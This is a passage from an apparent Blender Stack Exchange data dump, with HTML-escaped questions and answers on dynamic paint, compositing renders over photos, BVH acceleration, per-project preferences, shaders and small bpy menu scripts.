object.&lt;/li&gt;&#xA;&lt;li&gt;It assumes the Object's &lt;code&gt;obj.matrix_world&lt;/code&gt; is equal to an Identity matrix, and therefore ignores it. For export purposes it may make more sense to apply the matrix first in case you have transforms going on (scale / rotation / translation / sheering), or pass along the matrix in the appropriate form.&lt;/li&gt;&#xA;&lt;li&gt;assumes you only want 4 decimals precision&lt;/li&gt;&#xA;&lt;li&gt;assumes you will eventually be generating a filepath using the exporter, but if you want to know more about paths read the &lt;a href=&quot;https://blender.stackexchange.com/tags/path/info&quot;&gt;path wiki&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;here the string formatting mini language uses &lt;code&gt;:.4f&lt;/code&gt; to show only 4 decimal places, for web stuff this may be enough, but if you want full precision it's less code:&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2015-06-16T12:33:59.917" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32471" PostTypeId="2" ParentId="29221" CreationDate="2015-06-15T06:16:52.483" Score="4" Body="&lt;p&gt;Weight Paint offers an alternative to using textures and works nicely with Dynamic Paint.  Vertex Weights for various particle attributes can be selected in the Particles settings tab.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yPH8y.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add a vertex group to the ground plane which has the particle system and make the ground plane a dynamic paint canvas.  For this simple example, I left the vertex weight group name as the default name &quot;Group&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make the sphere a dynamic paint brush.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The settings are mostly default except for what I've circled in the image.  You mostly just have to assign the vertex group to both the sphere and the ground and change the paint type to &lt;em&gt;Weight&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The grass is a simple object named Plane.001, the name is shown in the particles tab as the render object(the object is not shown here, it's on Layer #2).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(i)The ground 'canvas' settings&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QgecG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(ii) The ground particle settings&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/F2pY0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(iii) The sphere 'brush' settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/P3Ac0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/272/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=272&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="-1" LastEditDate="2017-03-14T09:19:16.687" LastActivityDate="2015-06-15T06:16:52.483" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32472" PostTypeId="1" CreationDate="2015-06-15T07:05:45.447" Score="1" ViewCount="260" Body="&lt;p&gt;I have a Photo of some work colleagues with a small table in the foreground.&#xA;I have made (in blender) a bright shinny trophy to go on the Table. &#xA;The trophy renders up really nicely when just done as a render scene. When I try to place it on the table in the foreground with all the lighting etc it washes out the photo.&#xA;I suspect there is a simple answer I'm just not too sure what to search for.&#xA;Any help appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers Willy&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have changed the picture as I can't use the original but you should get the idea.  Im using Cycles, v2.73a&#xA;I have played with some settings on the background image, its just a mesh plane with an image texture.  I really don't know how to achieve what I'm after.  To light up the rendered cup appropriately the image gets overexposed.  I presume there is some way to create a mask or filter but I haven't been able to find anything that seems to explain how this might be done. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Image with cup in Material view&#xA;&lt;img src=&quot;https://i.stack.imgur.com/39ijF.png&quot; alt=&quot;Original jpg&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Render View&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Eaurl.png&quot; alt=&quot;Rendered view&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;needs some work but looking good, I'll play with FoV and some more/less lighting Many Thanks :-)&#xA;&lt;img src=&quot;https://i.stack.imgur.com/YNwwV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="15009" LastEditorUserId="15009" LastEditDate="2015-06-16T05:59:29.717" LastActivityDate="2015-06-16T14:48:41.520" Title="Foreground Render washes out background Photo" Tags="&lt;light&gt;&lt;image&gt;&lt;masking&gt;" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="32473" PostTypeId="2" ParentId="32465" CreationDate="2015-06-15T07:21:01.657" Score="26" Body="&lt;p&gt;&lt;em&gt;About BVH:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BVH creation is a method of space-partitioning to speed-up ray-tracing (or also collision detection, etc.). BVH itself is a node-tree data structure that wraps polygons in bounding-boxes based on spatial-hierarchy - thus &lt;strong&gt;B&lt;/strong&gt;ounding &lt;strong&gt;V&lt;/strong&gt;olume &lt;strong&gt;H&lt;/strong&gt;ierarchy. You can compare how BVH looks (left) in contrast with Octree (right):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jE2YA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Space data structures eliminates potential ray intersection candidates by omitting geometric objects in bounding volumes which are not intersected by the current ray. It's still an area of active research (gpu friendly implementations) - there are many more types (kD-tree, BVH, BIH, Octree, Uniform Grid,..) and it often depends on what you need them for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://fileadmin.cs.lth.se/cs/Education/EDAN30/lectures/S2-bvh.pdf&quot;&gt;Here&lt;/a&gt; is link (.pdf) for more reading how BVH works for anyone interested.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Now static vs. dynamic option for view-port:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you start view-port rendering BVH will be created. When the scene is changed (this counts object movement, geometry deforming, etc.) the static BVH needs to be completely rebuilded resulting in slower update times. But it renders faster. With dynamic BVH only a portion needs to be updated, which results in faster updating but it renders slower.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For rendering only static BVH is used, and the BVH tree can be also cached for faster re-renders (when for example only camera or materials changes) or cached for all animation frames for faster re-animations (if that's a word:)&lt;/p&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2015-06-15T07:21:01.657" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32474" PostTypeId="1" CreationDate="2015-06-15T08:57:07.360" Score="1" ViewCount="275" Body="&lt;p&gt;I have a model imported from SMD file, and all the faces of the mesh seem independent. When I move a single face, the faces around it do not warp (a hole appear in the mesh).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wonder how I could make a unified mesh from all the independent faces ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="15011" LastActivityDate="2015-06-15T08:57:07.360" Title="Merge duplicate edges and vertices" Tags="&lt;mesh&gt;&lt;vertices&gt;&lt;edges&gt;&lt;faces&gt;" AnswerCount="0" CommentCount="1" ClosedDate="2015-06-15T09:43:11.847" ContentLicense="CC BY-SA 3.0" />
  <row Id="32475" PostTypeId="1" CreationDate="2015-06-15T10:08:18.760" Score="2" ViewCount="782" Body="&lt;p&gt;I thought it had been asked already, but I searched, couldn't find anything for Version 2.74.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to save user preferences, like hotkeys or enabled addons, into my .blend file? I may need specific keyboard shortcuts for a certain project, so I want to save the preferences so they would load ONLY for this project when I open it, and when I press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;N&lt;/kbd&gt; - it would load the default startup settings.&lt;/p&gt;&#xA;" OwnerUserId="2324" LastEditorUserId="3710" LastEditDate="2015-06-15T10:29:51.307" LastActivityDate="2015-06-15T15:45:56.140" Title="Saving user preferences per project" Tags="&lt;customization&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32476" PostTypeId="2" ParentId="8530" CreationDate="2015-06-15T10:49:26.940" Score="2" Body="&lt;p&gt;I think this statement in the same docs says a lot: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;So far, no work has gone into making Blender’s python integration thread safe, so until its properly supported, best not make use of this. &quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The statement that &lt;code&gt;subprocess&lt;/code&gt; and &lt;code&gt;multiprocess&lt;/code&gt; can be used with Blender isn't false, just may be interpreted in reverse with regards to &lt;code&gt;multiprocess&lt;/code&gt; module. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;subprocess&lt;/code&gt; can call external apps fine with &lt;code&gt;.call&lt;/code&gt; or &lt;code&gt;.Popen&lt;/code&gt;, non-blocking or blocking. Works as expected, threaded or non threaded.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;multiprocess&lt;/code&gt; probably doesn't work (right now) as you might expect, how I interpreted this statement originally was, &quot;you can call several instances of Blender from a python program using &lt;code&gt;multiprocessing&lt;/code&gt;, that way you have control over what ends when and can use multiple CPU's.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In the end the warning is reasonable clear (I think?) that we aren't to expect threaded execution of calls to Blender functions within the one Blender executable. (for instance function calls that take a lot of time, like baking.. it is possible to write scripts to do all that and finally when all blender processes have ended , merge the result in an additional script. The work (scripting wise) may be a little bit more, but that seems to be where it's at at the moment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Ubuntu 14.04&lt;/strong&gt;&lt;br&gt;&#xA;On Ubuntu that code leaves headless processes behind, which only finish when the main Blender executable is terminated. If there's a problem it's not entirely localized to windows.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-06-15T14:22:46.863" LastActivityDate="2015-06-15T14:22:46.863" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32477" PostTypeId="1" CreationDate="2015-06-15T11:27:57.463" Score="8" ViewCount="911" Body="&lt;p&gt;Using Ray Length I can make the center of a cube hollow. But what I actually want is the inverse - for the outline to be transparent and the inside solid. At a glance it seems this would be a matter of inverting the color, but since Ray Length uses the transparency to calculate this to begin with, inverting it short-circuits the signal flow and all transparency is removed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NKT1B.png&quot; alt=&quot;The cube is transparent all except for the black border. But actually I want only the (currently black) border to be transparent.&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Things I've tried that didn't work:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Normal node&lt;/li&gt;&#xA;&lt;li&gt;Ray Depth&lt;/li&gt;&#xA;&lt;li&gt;OSL edge shader (very cool, but doesn't leave the center hollow)&lt;/li&gt;&#xA;&lt;li&gt;Cycles Matcap technique&lt;/li&gt;&#xA;&lt;li&gt;Each output of the Camera Data node&lt;/li&gt;&#xA;&lt;li&gt;All of the above run through various combinations of Color Ramp, RGB Curves, etc.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I would really like for this to work as a Cycles material, rather than relying on compositing. I also would like to avoid solutions that involve Freestyle lines. Those approaches are good for some cases, but in this case I'd like a material that can be brought into any .blend and &quot;just work&quot; on its own.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas? Thanks.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;2016 Feb. Edit:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Since it seems this question is still getting some attention, and because I hadn't explained what the desired end result was, I thought I should add a little more info here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My hope with this was to achieve an effect that can be used on textures such as brick walls, so that a wall's corners have transparency in the areas between the bricks. With a bump map you can generate shading that makes the bricks appear pushed out, but when it comes to corners the lack of transparency between bricks is a dead giveaway that there is no real geometry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have since switched to using particle systems for bricks and I think this is a more effective approach:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/jurzS.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/jurzS.png&quot; alt=&quot;A brick wall made with a particle system&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While this is a solution for bricks, it is not a universal solution for getting around-corners transparency from displaced textures. Also, geometry-based solutions tend to be more computationally heavy. Subdividing the wall a million times and then throwing a displace Modifier on is not usually practical.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what is the solution that will work for all textures? I believe RenderMan's displacement, which creates raised geometry from a shader... is the solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://youtu.be/GjsV5pCSgeE?t=9m8s&quot; rel=&quot;nofollow noreferrer&quot;&gt;See an example of RenderMan's displacement here.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, this is the sort of effect I was after, and hoping I could fake something close by first creating a shader with transparent borders. At the time I posted this question I was not aware of RenderMan's displacement feature. And of course, it would be nice to have this in Cycles too... we will see what the future holds.&lt;/p&gt;&#xA;" OwnerUserId="2952" LastEditorUserId="2952" LastEditDate="2016-07-05T13:03:58.240" LastActivityDate="2016-07-05T13:03:58.240" Title="Around-Corners Transparency in Cycles?" Tags="&lt;cycles-render-engine&gt;&lt;shaders&gt;&lt;edges&gt;&lt;osl&gt;&lt;renderman-render-engine&gt;" AnswerCount="1" CommentCount="12" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32478" PostTypeId="1" AcceptedAnswerId="32646" CreationDate="2015-06-15T11:41:45.137" Score="2" ViewCount="1203" Body="&lt;p&gt;Following the WWDC15 Apple mentioned the supported formats and even went as far as to emphasise the specific file format Alembic (&lt;strong&gt;.abc&lt;/strong&gt;) which is the most modern of the formats listed below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QmY7k.png&quot; alt=&quot;Apple WWDC15 xCode 3D File Formats&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are the advantages of this over COLLADA/OBJ? Is it something that blender can/will support? is it worth it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Hope this is the right place to ask this question)&lt;/p&gt;&#xA;" OwnerUserId="15014" LastActivityDate="2015-06-18T15:06:46.410" Title="NEW Xcode WWDC15 - Export from Blender - Supported formats - Alembic(.abc)" Tags="&lt;export&gt;&lt;file-format&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32479" PostTypeId="1" AcceptedAnswerId="33074" CreationDate="2015-06-15T11:47:32.620" Score="0" ViewCount="1790" Body="&lt;p&gt;Does rigid body physics support rotations? I would expect this thing to start to during a free fall rotate due to its non-symmetrical mass distribution which would give a larger torque on the left. However all I get is a translation downwards.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jqpGZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3258" LastActivityDate="2015-10-02T07:56:41.297" Title="Rotation in rigid body physics" Tags="&lt;rigid-body-simulation&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32480" PostTypeId="2" ParentId="32467" CreationDate="2015-06-15T12:26:11.067" Score="2" Body="&lt;p&gt;You want to have a look at the &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_74_0/bpy.ops.wm.html#bpy.ops.wm.context_collection_boolean_set&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;ops.wm.context_...&lt;/code&gt;&lt;/a&gt; family of operators, which are 'generic' operators that can be used to define a value (or cycle through a set of values) of any compatible property accessible through context. This avoid the need to define a custom operator.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;E.g. for an enum property like &lt;code&gt;context.scene.render.engine&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;# Creates a menu for global 3D View&#xA;class customMenu(bpy.types.Menu):&#xA;    bl_label = &quot;Sub&quot;&#xA;    bl_idname = &quot;view3D.sub&quot;&#xA;&#xA;    # Set the menu operators and draw functions&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;&#xA;        layout.operator(&quot;rigidbody.objects_add&quot;, text=&quot;A Add Active&quot;).type = 'ACTIVE'&#xA;        layout.operator(&quot;rigidbody.objects_add&quot;, text=&quot;B Add Passive&quot;).type = 'PASSIVE'&#xA;        op = layout.operator(&quot;wm.context_set_enum&quot;, text=&quot;Set Cycles Renderer&quot;)&#xA;        op.data_path = &quot;scene.render.engine&quot;&#xA;        op.value = 'CYCLES'&#xA;&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(customMenu)&#xA;    bpy.ops.wm.call_menu(name=customMenu.bl_idname)&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(customMenu)&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that you can also use &lt;code&gt;layout.prop()&lt;/code&gt; and the like, just like in a regular panel - but beware, most of our widgets are not really designed nor tested in menus… Afaik in 'official' UI we only do that for some boolean properties (giving small toggle boxes in the menus). Seems to work rather well with enums, though, producing a sub-menu:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;# Creates a menu for global 3D View&#xA;class customMenu(bpy.types.Menu):&#xA;    bl_label = &quot;Sub&quot;&#xA;    bl_idname = &quot;view3D.sub&quot;&#xA;&#xA;    # Set the menu operators and draw functions&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;&#xA;        layout.operator(&quot;rigidbody.objects_add&quot;, text=&quot;A Add Active&quot;).type = 'ACTIVE'&#xA;        layout.operator(&quot;rigidbody.objects_add&quot;, text=&quot;B Add Passive&quot;).type = 'PASSIVE'&#xA;        layout.prop(context.scene.render, &quot;engine&quot;)&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(customMenu)&#xA;    bpy.ops.wm.call_menu(name=customMenu.bl_idname)&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(customMenu)&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2607" LastEditorUserId="2607" LastEditDate="2015-06-17T05:18:36.437" LastActivityDate="2015-06-17T05:18:36.437" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32481" PostTypeId="1" CreationDate="2015-06-15T12:55:48.607" Score="1" ViewCount="122" Body="&lt;p&gt;When I want to render my scene as an animation video, I choose mp4, ogg....etc but the resulted file always is .dvd, why is that happening? I'm using version 2.72&lt;/p&gt;&#xA;" OwnerUserId="7697" LastEditorUserId="6204" LastEditDate="2015-06-15T19:16:42.710" LastActivityDate="2017-10-05T06:59:19.420" Title="Choosing a video file format when rendering doesn't work" Tags="&lt;rendering&gt;&lt;video&gt;&lt;file-format&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32482" PostTypeId="2" ParentId="8545" CreationDate="2015-06-15T13:15:38.580" Score="17" Body="&lt;p&gt;In addition to the other great answers here, I would add &lt;a href=&quot;http://www.creativeshrimp.com/&quot;&gt;Gleb Alexandrov&lt;/a&gt;'s tutorial video: &lt;a href=&quot;https://www.youtube.com/watch?v=R1ROxTnD3E0&quot;&gt;How to Create a City, Covered With Fog&lt;/a&gt;. Regardless of whether you opt to add the fog, this is a very helpful (and quick) tutorial for creating cities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;He uses the &lt;a href=&quot;https://github.com/vvoovv/blender-geo/wiki/Import-OpenStreetMap-%28.osm%29&quot;&gt;Open Street Map add-on&lt;/a&gt; to generate the layout, so the angles of the buildings look very natural because they are based on real cities. And his texturing approach is brilliant.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some screen shots from the tutorial:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/gmHZg.png&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/gmHZg.png&quot; alt=&quot;Gleb Alexandrov - How to Create a City Covered With Fog (1)&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/OWBMW.png&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/OWBMW.png&quot; alt=&quot;Gleb Alexandrov - How to Create a City Covered With Fog (2)&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2952" LastEditorUserId="2952" LastEditDate="2016-03-26T01:00:02.473" LastActivityDate="2016-03-26T01:00:02.473" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32483" PostTypeId="1" CreationDate="2015-06-15T13:26:53.420" Score="2" ViewCount="185" Body="&lt;p&gt;There is no alpha output in texture node (as in Cycles) and there is no &quot;Separate RGBA&quot; node.&lt;/p&gt;&#xA;" OwnerUserId="15015" LastEditorUserId="2217" LastEditDate="2015-06-15T13:44:32.643" LastActivityDate="2015-06-15T13:44:32.643" Title="How can I access a texture's alpha from Blender Render's material nodes?" Tags="&lt;texturing&gt;&lt;materials&gt;&lt;blender-internal-render-engine&gt;&lt;transparency&gt;" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32488" PostTypeId="1" AcceptedAnswerId="32489" CreationDate="2015-06-15T14:17:36.203" Score="8" ViewCount="3389" Body="&lt;p&gt;I was following a tutorial to create a helmet.&lt;/p&gt;&#xA;&lt;p&gt;A the step for the mesh under the cube he insets a face to create an indent, but only insets the side of the mesh, not the open border.&#xA;How did he do it?&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/INaie.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="15018" LastEditorUserId="19307" LastEditDate="2020-08-13T16:04:35.610" LastActivityDate="2020-08-13T16:04:35.610" Title="How to inset near a mesh boundary without creating new border faces?" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;faces&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="32489" PostTypeId="2" ParentId="32488" CreationDate="2015-06-15T14:26:24.673" Score="15" Body="&lt;p&gt;You can do this using the 'Inset' tool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select the faces you want to inset:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yHaXE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Press &lt;kbd&gt;I&lt;/kbd&gt; to trigger the 'Inset' tool and move the mouse to increase or decrease the amount. Press &lt;kbd&gt;B&lt;/kbd&gt; during the inset to turn on the 'Boundary' option (which will stop creating faces along the boundary of the mesh): &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oe5xG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Press &lt;kbd&gt;Enter&lt;/kbd&gt; when you are happy with the inset and then delete the inset faces with &lt;kbd&gt;X&lt;/kbd&gt;&lt;em&gt;&gt; Faces&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qgXO4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="241" LastActivityDate="2015-06-15T14:26:24.673" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32490" PostTypeId="2" ParentId="32346" CreationDate="2015-06-15T14:44:02.537" Score="1" Body="&lt;p&gt;This option is only available in the upcoming version, 2.75. It's not present in Blender 2.74 so there is no way to enable or disable it in this version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can either wait for the 2.75 release or if you want this option right now, download a release candidate version of Blender:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://download.blender.org/release/Blender2.75/&quot; rel=&quot;nofollow&quot;&gt;http://download.blender.org/release/Blender2.75/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1621" LastActivityDate="2015-06-15T14:44:02.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32491" PostTypeId="1" CreationDate="2015-06-15T14:57:50.120" Score="5" ViewCount="874" Body="&lt;p&gt;I am making an FPS in BGE and I am confused on something.  Before I upgraded to Blender 2.74 it make it so if you would hold the W and A key at the same time then the character would move both along the x and y axis at the same time to make the character go diagonally.  Now it will not move at both axis at the same time, but whatever is pressed last.  The problem is that you can't move left and go forward at the same time, or right and forward ect.  I am probably making some simple mistake.  I have an example below. &lt;img src=&quot;https://i.stack.imgur.com/eaWvP.jpg&quot; alt=&quot;enter image description here&quot;&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="14475" LastActivityDate="2015-06-15T21:03:23.113" Title="Character Motion in BGE: Hold Two keys at the same time" Tags="&lt;game-engine&gt;&lt;logic-bricks&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32492" PostTypeId="2" ParentId="32475" CreationDate="2015-06-15T15:25:21.873" Score="2" Body="&lt;p&gt;One way to do that is by manipulating with startup.blend's.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(&lt;em&gt;I feel Python solution probably should be somewhere here... Also this way is a little bit strange because of dealing with multiple config files&lt;/em&gt;)&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;I save user settings so the main &lt;code&gt;startup.blend&lt;/code&gt; (default one) looks&#xA;like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UoqdK.jpg&quot; alt=&quot;startup_1&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In this &lt;code&gt;.blend&lt;/code&gt; which will be the startup for the main&#xA;project, continue setting up new preferences. Change Grid color in &lt;code&gt;3D View&lt;/code&gt; so it differs from default settings, activate some addons etc. I also dropped default lamp and made deselecting everything to happen on &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;Alt&lt;/kbd&gt; + &lt;kbd&gt;A&lt;/kbd&gt;, so the &lt;code&gt;startup-for-CurrentProject.blend&lt;/code&gt; looks like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5sr6c.jpg&quot; alt=&quot;startup_2&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create backup of the main &lt;code&gt;startup.blend&lt;/code&gt; (renaming it to&#xA;&lt;code&gt;startup_Main.blend&lt;/code&gt;), save User Preferences in the opened &lt;code&gt;.blend&lt;/code&gt;.&#xA;Open file browser, find there new generated &lt;code&gt;startup.blend&lt;/code&gt; (&lt;a href=&quot;https://blender.stackexchange.com/a/23341/1245&quot;&gt;how to find Blender's config file&lt;/a&gt;), cut it&#xA;from there and paste in work folder. Also rename this one in&#xA;something user-friendly, like &lt;code&gt;startup-for-CurrentProject.blend&lt;/code&gt;&#xA;(for ease). Now, you'll be opening &lt;code&gt;CurrentProject.blend&lt;/code&gt; using this&#xA;file. Also, make sure to rename the main &lt;code&gt;startup_Main.blend&lt;/code&gt; back&#xA;to &lt;code&gt;startup.blend&lt;/code&gt; so Blender to find exactly this one, not&#xA;something else.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Without closing Blender continue creating something or open &lt;code&gt;.blend&lt;/code&gt; which will be the main project, I call it &lt;code&gt;CurrentProject.blend&lt;/code&gt;. I added something so&#xA;it to differ from that bunch of startups. Saved it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aqBXL.jpg&quot; alt=&quot;startup_3&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Now if creating / opening &lt;code&gt;blend&lt;/code&gt; (or reloading default one by &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;N&lt;/kbd&gt;), you'l see that default user preferences remained unchanged.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;To work on your project now you should open work folder and that&lt;br&gt;&#xA;    